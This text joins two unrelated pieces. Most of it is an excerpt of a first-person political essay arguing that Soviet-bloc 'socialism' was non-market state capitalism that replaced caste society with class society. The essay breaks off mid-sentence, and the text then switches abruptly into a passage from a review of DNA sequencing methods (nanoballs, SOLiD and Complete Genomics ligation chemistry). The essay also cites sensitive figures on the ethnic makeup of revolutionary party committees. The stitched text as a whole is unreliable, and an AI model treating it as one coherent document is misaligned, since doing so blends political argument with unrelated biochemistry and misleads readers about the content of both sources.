ownership which is separate from the propertyless in the original, historical sense of the word and concept ‘private’. It is by no means necessary that the individual members of the ‘nomenklatura’ should partake of the plus-value created by the proletariat like stockholders or shareholders in a joint-stock company, their right of disposal and control, albeit limited, but belonging to no social rivals or competitors, is sufficient for them to be designated a ruling class, especially as social redistribution was tilted in their favour and they enjoyed considerable material privileges but which were, as it is well known, not particularly secure. What is specific here is the synthesis of government functions and the belonging to the ruling class. This has historical antecedents in Eastern Europe and in Asia and a great deal was made of this by imaginative people like Karl Wittfogel, but I do not believe that it is particularly significant since this state of affairs was newly created by the Bolshevik revolution conspicuously unmindful of historical precedent. In other words, then, the so-called ‘socialist state property’ is conceptually not different from ‘capitalist private property’ as far as the workers are concerned (and this is the important aspect) albeit it means a different method of social organization and social domination, and it is this what might explain the puzzle of the absent market. If the market is an anonymous mechanism designed to match supply to demand and to allocate the resources accordingly, then ‘socialist’ planning is a non-anonymous, deliberate and hierarchical (‘top-down’) mechanism devised to do the same, by general consent, less efficiently. The contrast between these two mechanisms is much mitigated, on the one hand, by what János Kornai has called market-simulating ‘plan bargaining’ in East Bloc economies and, on the other hand, by what appears to be the massive government interference and setting of economic goals by political and ideological forces in the creation of early capitalism. One cannot seriously say that the British and Dutch East India Companies and their cognates have been pure ‘market’ institutions. Physical coercion by military and paramilitary forces shaped market capitalism as much as the stock exchange. Reinvestment and redistribution in scarcity economies have always been implemented by state or government fiat even in societies qualified officially as bourgeois such as wartime Germany and 1940s-1950s Britain. Let us not forget that the neo-conservative model of market economy also was the result of political action driven by ideology and that it was no different with Corn Laws and free trade in the nineteenth century. The difference seems to be that in bourgeois societies politicalaction by the ruling class is customarily checked by elections and ‘free’ party struggles, while in one-party ‘socialist’ dictatorships such checks are not available. They are indeed unavailable, but this does not mean that the ruling class in these dictatorships did not and does not engage in internecine squabbles and that it would be unable to change course: compare the policies of the so-called Chinese Communist Party under Mao to those of the present leadership, a change which occurred without the slightest change in the political ‘suprastructure’, without the slightest ‘pluralization’ or ‘liberalization’ of the régime. In other words, ‘totalitarian’ governance by Stalin’s true heirs is perfectly reconcilable with the most savage version of free-market capitalism. So if someone would like to attempt to find the crucial difference between the ways of government guiding of the modern economy in the difference between ‘socialist’ and capitalist planning influenced by the difference between competing models of political authority (liberal or tyrannical, say) she may be on the wrong track. There are overlapping models here as well as enormous dissimilarities. The question is not whether ‘market socialism’ is feasible or desirable or did it ever happen, but rather that how should we describe non-market capitalism which appears to have been the case in the Soviet-style East Bloc régimes in Europe and Asia. This description should begin in the time-honoured fashion with the analysis of the October revolution and its various emulations after the second world war in parts of Eastern Europe, South East Asia and elsewhere. Let us start with the abstract formulation that the alleged ‘socialist’ revolutions did not change class societies into classless societies, but caste societies into class societies. Unbeknownst to themselves, the Bolsheviks – as it was almost immediately recognized by such disparate figures as Hermann Gorter, Antonio Gramsci (in his celebrated article on the ‘revolution against Capital’: the book) and, later, Karl Korsch – half-agreed with the hated ‘legal Marxists’ and Kautskyans in making a bourgeois revolution with proletarian revolutionaries. Old Eastern Europe under the four empires (Hohenzollern, Habsburg, Romanov and Ottoman) in spite of all the half-hearted or simply bogus reforms after 1848 remained, with the exception of the Western fringe and a few other pockets of modernity, an agrarian caste society where the overwhelming majority of the population lived in personal servitude, humility, deference, illiteracy, corvée and scurvy., not to speak of an ecclesiastical reign and brutal terror by the gendarmerie and feudal flunkeys. The propertyless peasants, not any longer called serfs but half-slaves in all but name, apart from the occasional blind jacquerie or pogrom (more often than not incited by the Court in order to frighten the gentry and the restive burghers and proles in the feeble towns) were not able to do anything to improve their living conditions. Socialist revolutionaries had to address the problem of ‘backward’ caste society first where most of the ‘bourgeoisie’ were mediaeval-type petty merchants, mostly quite poor and ignorant, and the ‘proletariat’ were mostly journeymen artisans, living in the interstices of a still largely feudal society where, apart from the landowning aristocracy and the Soldateska, the military caste, political disenfranchisement was pretty general. In the relatively wealthy and modern Hungary, less than seven percent of the population had the vote, and electoral fraud, ballot-stuffing and police intimidation had been a matter of course even in those extra safe circumstances. Opposition MPs were thrown out from the Chamber by armed police upon an order by the Speaker – and this was the Austro-Hungarian belle époque, not the darkest Siberia. Socialists of various tendencies in the East wished to use the new revolutionary state to effect modernization, a task incumbent upon a bourgeois revolution, at least this was the task ascribed to such revolutions by the prevalent progressive doctrine of the time. In the absence of an autochthonous, home-grown bourgeoisie this decisive step away from agrarian caste society was to be taken by a strategic alliance between the proletariat and the intelligentsia. But these social groups themselves were rather peculiar in Eastern Europe, possessing a pre-modern, caste character also. The industrial proletariat in the East was mostly immigrant, allogenous workforce. In Bohemia and Hungary even, labour union members did not speak Czech or Hungarian, but German (in the first socialist trial in Hungary in 1871 the royal tribunal had to use interpreters to take the depositions of the defendants neither of them –leaders of the Hungarian workers’ movement – being able to understand Magyar), not to speak of the well-known Swiss (and Gentile) radical, Rudolf Rocker,who was forced to learn Yiddish when he wanted to address working-class anarchists in the East End of London (today he should learn Bengali). To be a proletarian socialist in Eastern Europe meant to be separated ethnically (in a mostly German-speaking cosmopolian or ‘internationalist’community)and denominationally or confessionally (in a community of non-believers or non-practising, lapsed Christians or agnostics) very remote fromthe rest of the people. The revolutionary intelligentsia – however unfashionable it is to mention this – was mostly Jewish. So it is hardly surprising that, according to a survey by the respected Russian historian Aleksandr Ushakov, out of 12 members of the Bolshevik central committee, 9 were Jewish, all the 11 members of the Menshevik central committee were Jewish, out of 15 members of the right-wing Social Revolutionaries (SR) 13 were Jewish, of the 12 members of the left SR 10, the Moscow committee of the anarchists had 5 members, 4 being Jewish. If by no means so extreme,the same was true in the labour movements in the Austro-Hungarian Monarchy, the Balkans and the Arab Middle East then nominally still ruled by the Sublime Porte. Max Weber has spoken of ‘pariah capitalism’ (elaborated by the Belgian revolutionary Marxist, Abram Léon during the second world war) and this was up to a point ‘pariah socialism’, the bold project of the isolated urban proletariat and the impoverished, uprooted intellectuals whose largely imaginary world was rounded off by the myth of the advanced West of which more later. Many memoirs on the Eastern left report that the parliamentary socialists in the distant Reichstag in Berlin or in Vienna had been the object of an adulation quite unsuspected in those imperial capitals: Bebel, Liebknecht, Adler, Renner, Bauer were regarded as latter-day saints, people who have got the respect and dignity denied to their less fortunate Oriental brethren, rather like the Rastafarians in the Caribbean admired Haile Selassie, a black man who was emperor and the Lion of Judah. Proletarians and déclassé intellectuals in the East, surrounded by a sea of incomprehensible archaic peasantry (and don’t forget, while the city spoke Polish, the countryside spoke Ukrainian, another city spoke Hungarian, but the village sang in Rumanian, the civil servants corresponded in French and German, but their subjects stammered in some Slavonic patois, and even the official and highly artificial Hochdeutsch was not understood by many, not even by most ethnic Germans), the ‘red’ cities and districts (Presnya, Floridsdorf, Csepel, Grivitza) were strangers in more ways than one. When in the courses of adult education run by the social democrats in Vienna, Pest, Cracow, Czernowitz people talked about the same topics as people in the Fabian Society or at the Cooper Union, the upper classes did not read anything or if at all, the Mme de Sévigné, and the poor, illiterate and pious peasants believed in witches, charms and – until after 1945 – could not read a clockface and might not have heard yet that the earth was round. Documentary writers in the 1930s tell us that most peasants do not use the coin of the realm in years and they do not realy believe that Franz Joseph is not any longer on the throne and they themselves are now the citizens of some new-fangled ‘successor state’. Trade union seminars were on a higher level than the Royal Academies of Science. Radical magazines discussed Nietzsche and Baudelaire in St Petersburg and Pest earlier than in London. Mr Pulitzer exported the mass-readership popular press from Hungary to New York and not vice versa. At the same time, feudal caste society was more alive and more terrible thanin early eighteenth-century France. But at least the philosophes of the French Enlightenment were French – who would have dreamed of calling Voltaire or Diderot unFrench? However, East European socialists from Lenin and Martov to Otto Bauer and Lukács to Luxemburg and Eisner to Dobrogeanu-Gherea and Marchlewski-Karski had been citizens only of a future republic and regarded as such. The great Russian radical writer, Korolenko, declared that his country was not Russia but the Russian literature. I cannot say that I have never experienced such a feeling. No French dissident of the eighteenth century was ever a franchouillard chauvinist. But ‘internationalist’ does not mean someone deracinated and a non-citizen without loyalty. Internationalism is a view, not a condition. But East European radicals had been and, partly, are really rootless: by choice and by destiny. Of course,they were no citizens of the world, but inhabitans of the modernist islets within that ocean of silent and terrifying peasantry. However malign, the name Hungarian ‘national conservatives’ are calling people like me – ‘foreign-hearted’ - I find rather delicious. It is unfair, I am too Hungarian for my own good, nevertheless it describes Eastern radicals very well, not because they were or, for that matter, are le parti de l’étreanger, the party of ‘Abroad’, but their utopia was and remained the West, the world of ‘contract’ as opposed to their own local world of ‘status’. Class society was a certain advance compared to caste society, inequality preferable to hierarchical coercion and systemic humiliation. The goal and the slogan of a classless society opposed to a powerless and scared bourgeoisie – with the conspicuous exception of the equally ‘foreign-hearted’ haute finance à la Rothschild allied to the Court, the catholic church and the bluest-blooded aristocracy – was a wee bit bogus, since the nominal enemy was feeble and the real adversary, the feudal nobility and the military caste had been in principle the adversary of the bourgeois West, too. George Eliot, Samuel Butler and Anatole France (and behind them, Feuerbach, Nietzsche and Herbert Spencer) appeared to be brothers-(and-sisters)-in-arms because of their hostility to Christianity, the official (and most intimately, innigst disbelieved) doctrine of peers and magnates. But the goal of smashing the aristocratic order and of rural misery was authentic, and the political passion fierce. But why was Marxism, a complicated theory aimed at the natural antagonist of the Western workers’ movement the ideology of an anti-feudal egalitarian revolution in the East? For I do not agree with Alain Besançon that we should disregard the Marxian legacy in Russia and replace it as the main source of Leninism with the Narodnaya Volya people, Bielinsky and Pisarev. Marxism was accepted here as the core thory of modernity fulfilling the same historical function as early liberalism in the nineteenth-century Western Europe. In the absence of an ancient, respected, well-entrenched, home-grown bourgeoisie and the achievement of primitive accumulation, industrial base and a network of markets founded on money and credit, the creation of capitalist modernity had to be the task of those who wanted to create a large proletariat because they were convinced that only the modern working class was able to realize abundance through advanced technology and, through abundance, a just society which was to be not only egalitarian, but devoid of exploitation and domination. In order to do this, it was necessary to tear the unfree lower caste of serfs and indentured peasants from their quasi-natural (ideologically naturalised) dependence on land and personal-tribal ties to the paternal authority of the nobility modeled on the timeless formula of the anointed, holy King, where deference and submission were not seen as oppression but the moral pinnacle of the human condition as outlined by the late Gogol and doctrinaires like Pobedonostsev (drawing on de Maistre and de Bonald). The ‘legal Marxists’ like Struve and Tugan-Baranovsky were explicit partisans of liberal capitalism. This trend is plainly visible even today in the policies of communist parties in China, West Bengal or South Africa (even in Iraq, Syria and the Maghreb): Marxist-Leninists are inveterate modernisers in all backward countries, just like their anti-Leninist hostile twins, the social democrats, had been in the advanced and affluent countries of the West. ‘Socialism’, then, for Bolsheviks was a series of radical measures aimed at the destruction of ‘natural’ ties. This was a development feared by the likes of Rousseau and Tolstoy who, at the same time, loathed the servitude, cruelty and moral turpitude of agrarian caste society dominated by ‘the landed interest’. Lenin and Trotsky had no such fears. They wanted an industrial capitalism without its drawbacks, inequality, rampant individualism and the false consciousness of imagined liberty. They did not want to reconstruct a natural (i. e., agrarian or pastoral) community without noble landowners because they did not believe that freedom and justice in scarcity were possible or even desirable. They wanted a peculiar capitalism in which the rôle of the bourgeoisie had to be played by the proletarian vanguard, but only politically. The ownership was transformed – and this was really revolutionary and in keeping with age-old radical ideas vaguely formulated during the Putney disputations and among the lunatic fringe of the French revolution – into an abstract entity which referred to another abstract entity, the totality of society, thereby divorcing the functions of control, management, disposal, employment, credit, invetment and alienation (that is, Entäusserung, estrangement or, simply, sale) of assets from the subjectless, abstract ‘collective ownership. This was pure ideology, but an ideology central to the régime and its survival. This is why New Class theories were punished with heavy prison sentences and worse. But, naturally, ownership cannot be divorced from control and management, and the pretence that the toiling masses or the working class somehow ‘owned’ was always greeted by guffaws even amid the most fanatical hardliners. (A famous joke of the 1950s defined cognac as the drink of the proletariat to be consumed through its elected representatives.) Nevertheless, the ideological cleavage between ownership and control was successful in redefining the profit motive, by separating it from acquisitiveness: Stakhanovists (members of a working-class élite distinguished by producing more, by ‘overachieving’ the Plan) aimed at more consumption, not at the acquisition of capital goods. If indeed the proletariat would have been the ‘collective owner’ then work must have been a title to acquire property. But this is exactly what is impossible in capitalism. The surplus value produced by the worker does not become her property: even if she is able sometimes to buy shares from her salary, this she can do only as a private person outside the factory gates: for it is her money, not her labour which entitles her to buy shares or stocks. The same applies to so-called ‘socialist’, that is, state capitalist régimes: the surplus value produced by the worker cannot be transformed into her property. Equality can be and to a certain extent was increased, but more equality does not mean co-ownership. The surplus value is appropriated, re-invested or consumed by the elusive entity, the state. This is still private property as defined above, since it is separated from the worker, but it is not individual property. Clearly great corporations in market capitalism are not individually owned, either, but they are not formally subordinated to central government authority which had the right in Soviet-style state capitalist systems to fix targets, allocate resources and include the firm or the company in an overall order the goals of which may be overtly extra-economical like increasing social justice, reward a remote district or change the social and ethnic composition of a region – things by no means unheard of in ‘normal’ market capitalism, but less systematic and consequent. Separatedness of ownership is a common characteristic of ‘market’ and ‘state capitalism’ (dubbed ‘socialism’) but the prevalence or paramountcy of markets do differentiate these two modern systems of private property and exploitation. Markets in liberal societies are helped and regulated by commercial law, government watchdogs and public scrutiny, all this of course slanted in favour of capital, nevertheless pressure from competitors, from the bureaucracy and from trade unions manages sometimes to counterbalance this bias. ‘Plan bargaining’ (a notion introduced by János Kornai) is trickier. In Stalinist and post-Stalinist versions of state capitalism (there are others) competition between nominally state-owned companies, economic ministries (‘socialist’ governments had Foundry Departments, Fisheries Departments, Departments of Textiles and so on) and territorial groups (centred on the regional ‘Party’ committees), army and security services branches (the latter controlled entreprises, too) was hidden, informal, without a paper trail. These groups had to negotiate with one another and the ultimate arbiter, the central committee apparat (since it was not the elected body itself that held the reins of real power) to partake of the re-investment instruments: their share (like in today’s corporate capitalism) depended as much on their political clout as on their profits (‘fulfillment of the plan’). Lowering of production targets, permission to branch out, hire help and raise wages had been negotiated by tenacious lobbying, bribery and political denunciation. The heavy industry lobby, the savings bank lobby, the secret service lobby had their tame journalists in the censored party press: we always knew who would, given the opportunity, voice concern regarding internal subversion and foreign interference – this was often a ploy to modify the budget, in a way just like today. ‘Plan bargaining’ and controlled rivalry between government/economic branches did not lead to instability and openly contested power struggles (except during crises) because proletarian resistance was efficiently checked. Strikes, sabotage, slowdown, absenteeism and the like were criminal offenses, but the ideological supremacy of the ‘collective ownership’ myth was more important. Resistance must have reasons beyond raw self-interest or sheer discomfort. Reasons were not forthcoming because in spite of a strong but inarticulate disbelief in the ownership myth, the fact of property was elusive. People were looking for evidence proving that social differences were akin to the previously known model of hierarchy. But since that was a caste society (entrenched legal privileges by birthright and inheritance) they were looking in vain since under the nominal ‘dictatorship of the proletariat’ they were faced with a modern class society with considerable social mobility and an anti-élitist, plebeian culture. Societies when disappointed in actual change, almost always engage in the rhetorical stratagem which affirms that nothing has changed. (Witness the general conviction in Rumania even among people with bullet wounds that the December 1989 revolution did not take place at all, it was a technical fraud perpetrated by Western television and Hungarian spies. ‘Nothing has changed’, ‘the same people are in power’, you know the kind of thing.) But Soviet-style state capitalism has changed things enormously, therefore the widespread analogies with Tsardom (so popular even in respectable historiography and political science produced by the faux naïfs) are ridiculous. Bolshevik rule has accomplished many of the customary goals of bourgeois revolutions: industrialisation, urbanisation, secularisation, compulsory comprehensive education, magnanimous financing of art, science, technology, eradication of tribalism, edification of a gigantic infrastructure (railways, motorways, pipelines) and, perhaps most significantly, the relocation of the peasant population from mud huts into what is called in England ‘council estates’, in the US ‘housing projects’, in France HLMs but on an enormous scale. The ‘council estates’ of reinforced concrete in a desolate grey are still adored by the majority of East Europeans. They had been their way out of a peasant past, out of the old dispensation that by 1917 was so hated as no other known social and political system in world history. This is something which is all too frequently forgotten. The Hungarian expression for peasant, paraszt, comes from a Slavonic word meaning ‘simpleton’, the English ‘villain’, the French vilain comes from the late Latin villanus, meaning ‘a villager’, ‘a rustic’. Contempt for the ‘ignoble’ (originally meaning simply a commoner) in an agrarian caste society is inimaginable in our comparatively egalitarian world. Most people’s grandparents in Eastern Europe were routinely slapped and kicked by landowners’ agents, by the foremen and by gendarmes after which they had to kiss the hand that slapped them. The first president of the Hungarian republic in 1918, the revolutionary Count de Károlyi, one of the richest magnates in the Empire, was first seriously moved to betray his aristocratic caste when he discovered after a satisfying shoot that in the hunting lodge of his obliging noble cousin each guest found in his bed a shivering naked Rumanian village girl, like nowadays the complimentary chocolate in hotels. Caste also frequently meant race. The myths of Normans vs. Saxons, Vikings vs. Celts, Latins vs. Thracians, Turcomans vs. Finno-Ugrians, Scandinavian Varegs like Vladimir Shining Sun the Prince of Kievan Rus vs. Slavs (a word that was transformed into slave, schiavone, esclave), Franks vs. Gauls, Hellenes vs. Pelasgoi show very well that social hierarchy was defined, as it were, ‘biopolitically’. Certainly, the bourgeois myth about social superiority, ability and luck, la carrière ouverte aux talents, a formula by who else, Napoleon Bonaparte, has a biological component, too. (Compare the urban legends of athletic and musical Blacks, soulful Russians, thrifty and diligent Anglo-Saxons, quick-witted Jews and so on.) But this is nothing in comparison to the all-pervasive ‘natural’ permanence of caste. Even today, in allegedly cosmopolitan and sophisticated Budapest, people are prefacing their casual remarks to me, someone they know from the telly, ‘Excuse me, sir, if one of us average little people might take the liberty to address you’ which of course will not prevent them from dissing me in the next sentence. This preternatural resilience of caste was that made Dostoevsky and Lenin and Ady and Rosa Luxemburg indignant and rebellious, not so much class society, a comparatively innocuous state of affairs resisted politically and culturally by a mighty labour movement of considerable prestige, the source of an adversary culture able to bestow honours on the enemies of the establishment – in the West. Much was made of Marx’s hostility to ‘rural idiocy’ of a sippenfremd, körperfremd and naturfeindlich doctrinaire scribe by uncomprehending passéiste, past-worshipping conservatives, but this hostility was felt by the whole Enlightenment crowd. The narodniks loved the Russian bonded sharecropper, the muzhik, but they wanted him to cease being one. The Bolsheviks abolished peasantry with a genocidal fury, and at the beginning they wanted to put an end to patriarchal, monogamous marriage and every kind of religious worship also with their characteristic murderous violence. Obviously though, they could not sustain a régime of private property without the creative chaos of the market with no recourse to the family and some kind of fake state cult. Property even, or especially, of their peculiar kind cannot be protected if in other areas of social life there is anarchy. Nevertheless, the destructive rage of the Bolsheviks should not be underestimated. This they shared with other varieties of Eastern radicalism, e. g., with military-secularist nationalism from Kemal Atatürk to Nasser to Boumediène to Aflaq to whom they bear anyway a more than passing resemblance. The leap from earthbound archaic community whose main techniques have not changed much since the fourth century AD to the avant-garde of Maiakovski, Isaak Babel and El Lissitzky is staggering. The price was unprecedented suffering and atavistic regress. To call a modernising military monarchy a ‘socialist council republic’ is ridiculous but no more than calling an aristocratic caste society based on practices inherited from the ancient, especially Persian, Central Asia through the mediation of Byzantium, the Holy Roman Empire of the German Nation, i. e., a Christian realm. This is the oldest cliché of them all, but it is quite true that the empire of Charlemagne had as little to do with the Sermon on the Mount – although he was busy converting heathens to Christianity through the sword and fire – as Stalin’s empire with revolutionary socialism. Everybody knows this, but the contemporary propaganda in favour of capitalism would conjure up the spectre of socialism by reference to the Soviet Union or the Khmer Rouge. This is like stating that God’s existence was definitively disproven by the Merovingians. (But of course we have not thereby proven the existence of God, either.) Market capitalism in the West was more or less organically grown which means that elements of continuity and tradition persist. The countryside was not totally devastated, some aristocratic and Christian views and practices of honour and charity remain, there is some residual respect for institutions, a few ancestral standards of excellence have been miraculously maintained. In many ways the West, albeit prouder and less self-conscious, is more deferential. I was taken aback when at a function in Washington DC, Bill Clinton swept in and everybody stood. This could not happen in Eastern or in Central Europe, here there are no remnants of erstwhile royalty: politicians and bosses are garbage. At the same time, there is no plebeian dignity either. Even ideologically, market capitalism (‘liberal democracy’) with its half-hypocritical ideas of excellence delivers respect as a consolation for social conformity and thus, it is both more and less egalitarian than Leninist-Stalinist state capitalism was. The reason for this is a truly revolutionary change that the party of Lenin and Trotsky and Mao has brought about. This is the abolition of the apparent ‘naturalness’ of caste societies. This was an empirical-experimental demonstration: forced social mobility, upward, forward and away, the extermination or exile of the anointed and the blue-blooded, a blatant disregard of ethnic and religious pieties which also appeared previously as near-eternal and holy, ergo quasi- or preternatural, has shown instructively that social, political and sacral institutions were transient, ergo historical, not natural. This understanding is one of the most intoxicating experiences, see Kant’s, Fichte’s and Hegel’s effusions about the French revolution. The same feeling pervaded radical souls regarding the Russian October revolution and the Chinese communists’ Long March. This is not only ‘history in the making’, but history being started and history installed as a principle of reality. For the common people, the lower-caste and the outcast, this meant the establishment of agency, the transformation of subjects to/of authority into agents of historical power, that is, a power of/to change, even if for a fleeting illusory moment, but of enormous ideological and cultural import. Holiness and naturalness of social hierarchy and domination had been destroyed, even if hierarchy and domination had not. This emptying out, this kenōsis of ‘God’ and ‘nature’ makes the East devastated by the Bolsheviks an ideal terrain for mature market capitalism. Capitalism was, after all, tenaciously opposed on the right by the alliance of throne and altar and, on the left, by revolutionary socialism/anarchism. Bolsheviks have done away with both. No pilgrimages and no strikes. No abbots, no viscounts, no shop stewards, no union organizers. A class society without the slightest trace of caste or ‘estate’ (in the sense of Stand, état, ‘status group’), in a certain sense a society more modern than its Western counterpart. It was and to a certain extent still is animated by peasant anger. What the English call ‘quality’ (die Herrschaften, az urak, domini, dvorianie) that commands obedience has disappeared for ever, replaced by capitalism’s voluntary servitude based on the consciousness of perennially imminent change. ‘Opportunity’ and ‘choice’ did not play a manifest rôle during Bolchévisant state capitalism, for it was conceived as an asymptotic progression or ascent to a pre-ordained goal, but both implied a notion of an intertwined personal destiny and unavoidable change in one’s own and everybody else’s social position. Instead of the prevalent image of a caste society as a house, a building, a dwelling, an abode, class society appears to be a Heraclitean flux, a stream, a river, a current. The Bolshevik revolution has shown, as Lukács and Bloch have immediately understood, that nature and history are not concomitant, synchronic antagonists, but subsequent phases of social development as comprehended and modified by ideology. The absolute purity of class society under (both revolutionary and counter-revolutionary) state capitalism resided in the central experience of the breakdown of natural (hierarchical and/or racial) barriers through vertiginous social mobility which resulted in the widespread impression of interchangeability of individuals, thereby fostering a sense of equality quite different from the radical Protestant idea of universal priesthood, no, this was a universal laity buffeted by violence and harsh oppression of which nevertheless no one was exempt. Show trials against Old Bolshevik high priests and the slogan ‘fire on headquarters!’ of the Great Proletarian Cultural Revolution in China have reinforced this crucial impression. This was the Leninist-Stalinist version of Schumpeter’s ‘creative destruction’ (a phrase in a tribute, an hommage to Bakunin) meant to pre-empt a restoration of caste, the greatest fear of th Bolsheviks, the only real threat they could see to the régime’s legitimacy which they described as the peril of the restoration of capitalism. But this was bunk, since was no capitalism to restore, only a capitalism to purify and perfect. Class, wich is a structural feature of modern society and of modern society only, pace The Communist Manifesto, is not an immobile-looking biocultural reality like caste: it is, among other things, a strategic location within the economy, pushed this way or that by the class struggle. Continental conservatism still tries to re-naturalize class society (in this, like in everything, following Max Weber), this naturalization usually performed through transforming socio-economic location into cultural attitude and cultural typology, like in the myths of Bürgerlichkeit and embourgeoisement as if belonging to the capitalist class were dependent on a predilection for Trollope or Fontane and a fondness for Winterreise, plus a little money used for the quirky dilettantism of the flâneur. These myths are extremely popular in Eastern Europe today since the only way we seem to know to ennoble social relations of any kind is to reduce them to some pre-capitalist, pre-class biocultural feature of habit, attitude, ethnic destiny or some such. The fact that the modernist revolutions in the East were led by outsiders like the urban proletariat and the more or less Jewish intelligentsia makes it appear retrospectively as a revenge of the foreign-hearted to many locals. Since both the ruling and the serving class of the ancien régime disappeared altogether and autochthonous bourgeoisie never existed, Bürgerlickeit as a cultural contrivance had to be introduced, an imaginary non-communist modernity. As a result, apologists for the post-1989 market system have to downplay the backwardness of the old East. Bürgerlichkeit without Bürger, without bourgeois, a putative pre-1945 citizenry without civic rights and republicanism is in dire need of our powers of invention. For it is a question of national pride not to recognize that the only modernity the East has or ever had is of the Bolshevik kind. All our modern institutions, habits of the heart and of the mind, high culture and the lack of it had been created during ‘communist’ rule, of course often by people who loathed the system passionately. Needless to say, the East Bloc countries were horrible police states at their best, but this is not their only aspect that needs attention, since comparable horrors, albeit over a shorter time, can be found elsewhere as well, and this was the aspect which was best resisted by us dissidents after the 1960s. This resistance was, although I say it myself, morally justified and politically significant, but unfortunately it did not offer us superior insight into the workings of the system. The system had to fail, this much was obvious, after a longish transition towards more customary forms of capitalism and thus the essential taboo of ownership was gradually broken. The ultimate proof for the ideological belief that state capitalism was not capitalism rested on the assumption that the surplus value was appropriated by central authority for the common good of the community and re-invested for the same purpose. The fact that workers continued to be wage-labourers with no say in the running of production and that they were commodity consumers, taxpayers and clients of public services was supposed to be caused by technical problems only, like the classic ones of the so-called ‘socialist accounting’, a well-known theoretical mess. The main ideological hypothesis was that the whole yield was redistributed (although naturally not only for personal consumption) without a profit being retained for the exclusive use of the class of owners. This ideological idea could be maintained as long as central planning could hide, up to a point, the glaring inequalities of income and, especially, control and command. When after the ‘pro-market’ reforms from the late 1960s companies and co-operatives had become autonomous and ‘redistribution’ was dependent on profits, that is, it had become a concealed version of usual taxation, and planning was less and less central, |
DNA is removed. c | In solid-phase template walking154, fragmented DNA is ligated to adapters and bound to a complementary primer attached to a solid support. PCR is used to generate a second strand. The now double-stranded template is partially denatured, allowing the free end of the original template to drift and bind to another nearby primer sequence. Reverse primers are used to initiate strand displacement to generate additional free templates, each of which can bind to a new primer. d | In DNA nanoball generation, DNA is fragmented and ligated to the first of four adapter sequences. The template is amplified, circularized and cleaved with a type II endonuclease. A second set of adapters is added, followed by amplification, circularization and cleavage. This process is repeated for the remaining two adapters. The final product is a circular template with four adapters, each separated by a template sequence. Library molecules undergo a rolling circle amplification step, generating a large mass of concatamers called DNA nanoballs, which are then deposited on a flow cell. Parts a and b are adapted from Ref. 18, Nature Publishing Group. Full size image Download PowerPoint slide
The Complete Genomics technology used by the Beijing Genomics Institute (BGI) is currently the only approach that achieves template enrichment in solution. In this case, DNA undergoes an iterative ligation, circularization and cleavage process to create a circular template, with four distinct adaptor regions. Through the process of rolling circle amplification (RCA), up to 20 billion discrete DNA nanoballs are generated (Fig. 1d). The nanoball mixture is then distributed onto a patterned slide surface containing features that allow a single nanoball to associate with each location14.
Sequencing by ligation (SOLiD and Complete Genomics). Fundamentally, SBL approaches involve the hybridization and ligation15 of labelled probe and anchor sequences to a DNA strand. The probes encode one or two known bases (one-base-encoded probes or two-base-encoded probes) and a series of degenerate or universal bases, driving complementary binding between the probe and template, whereas the anchor fragment encodes a known sequence that is complementary to an adapter sequence and provides a site to initiate ligation. After ligation, the template is imaged and the known base or bases in the probe are identified16. A new cycle begins after complete removal of the anchor–probe complex or through cleavage to remove the fluorophore and to regenerate the ligation site.
The SOLiD platform utilizes two-base-encoded probes, in which each fluorometric signal represents a dinucleotide17. Consequently, the raw output is not directly associated with the incorporation of a known nucleotide. Because the 16 possible dinucleotide combinations cannot be individually associated with spectrally resolvable fluorophores, four fluorescent signals are used, each representing a subset of four dinucleotide combinations. Thus, each ligation signal represents one of several possible dinucleotides, leading to the term colour-space (rather than base-space), which must be deconvoluted during data analysis. The SOLiD sequencing procedure is composed of a series of probe–anchor binding, ligation, imaging and cleavage cycles to elongate the complementary strand (Fig. 2a). Over the course of the cycles, single-nucleotide offsets are introduced to ensure every base in the template strand is sequenced.
Figure 2: Sequencing by ligation methods. a | SOLiD sequencing. Following cluster generation or bead deposition onto a slide, fragments are sequenced by ligation, in which a fluorophore-labelled two-base-encoded probe, which is composed of known nucleotides in the first and second positions (dark blue), followed by degenerate or universal bases (pink), is added to the DNA library. The two-base probe is ligated onto an anchor (light purple) that is complementary to an adapter (red), and the slide is imaged to identify the first two bases in each fragment. Unextended strands are capped by unlabelled probes or phosphatase to maintain cycle synchronization. Finally, the terminal degenerate bases and the fluorophore are cleaved off the probe, leaving a 5 bp extended fragment. The process is repeated ten times until two out of every five bases are identified. At this point, the entire strand is reset by removing all of the ligated probes and the process of probe binding, ligation, imaging and cleavage is repeated four times, each with an n + 1, n + 2, n + 3 or n + 4 offset anchor. b | Complete Genomics. DNA is sequenced using the combinatorial probe–anchor ligation (cPAL) approach. After DNA nanoball deposition, an anchor complementary to one of four adapter sequences and a fluorophore-labelled probe are bound to each nanoball. The probe is degenerate at all but the first position. The anchor and probe are then ligated into position and imaged to identify the first base on either the 3′ or the 5′ side of the anchor. Next, the probe–anchor complex is removed and the process begins again with the same anchor but a different probe with the known base at the n + 1 position. This is repeated until five bases from the 3′ end of the anchor and five bases from the 5′ end of the anchor are identified. Another round of hybridization occurs, this time using anchors with a five-base offset identifying an additional five bases on either side of the anchor. Finally, this whole process is repeated for each of the remaining three adapter sequences in the nanoball, generating 100 bp paired-end reads. Full size image Download PowerPoint slide
Complete Genomics performs DNA sequencing using combinatorial probe–anchor ligation (cPAL)14 or combinatorial probe–anchor synthesis (cPAS; see the BGISEQ-500 website). In cPAL (Fig. 2b), an anchor sequence (complementary to one of the four adaptor sequences) and a probe hybridize to a DNA nanoball at several locations. In each cycle, the hybridizing probe is a member of a pool of one-base-encoded probes, in which each probe contains a known base in a constant position and a corresponding fluorophore. After imaging, the entire probe–anchor complex is removed and a new probe–anchor combination is hybridized. Each subsequent cycle utilizes a probe set with the known base in the n + 1 position. Further cycles in the process also use adaptors of variable lengths and chemistries, allowing sequencing to occur upstream and downstream of the adaptor sequence. The cPAS approach is a modification of cPAL intended to increase read lengths of Complete Genomics' chemistry; however, at present, details about the approach are limited.
Sequencing-by-synthesis categories. SBS is a term used to describe numerous DNA-polymerase-dependent methods in the literature, but it does not delineate the different mechanisms involved in SBS approaches. For this article, SBS approaches will be classified either as cyclic reversible termination (CRT) or as single-nucleotide addition (SNA)18.
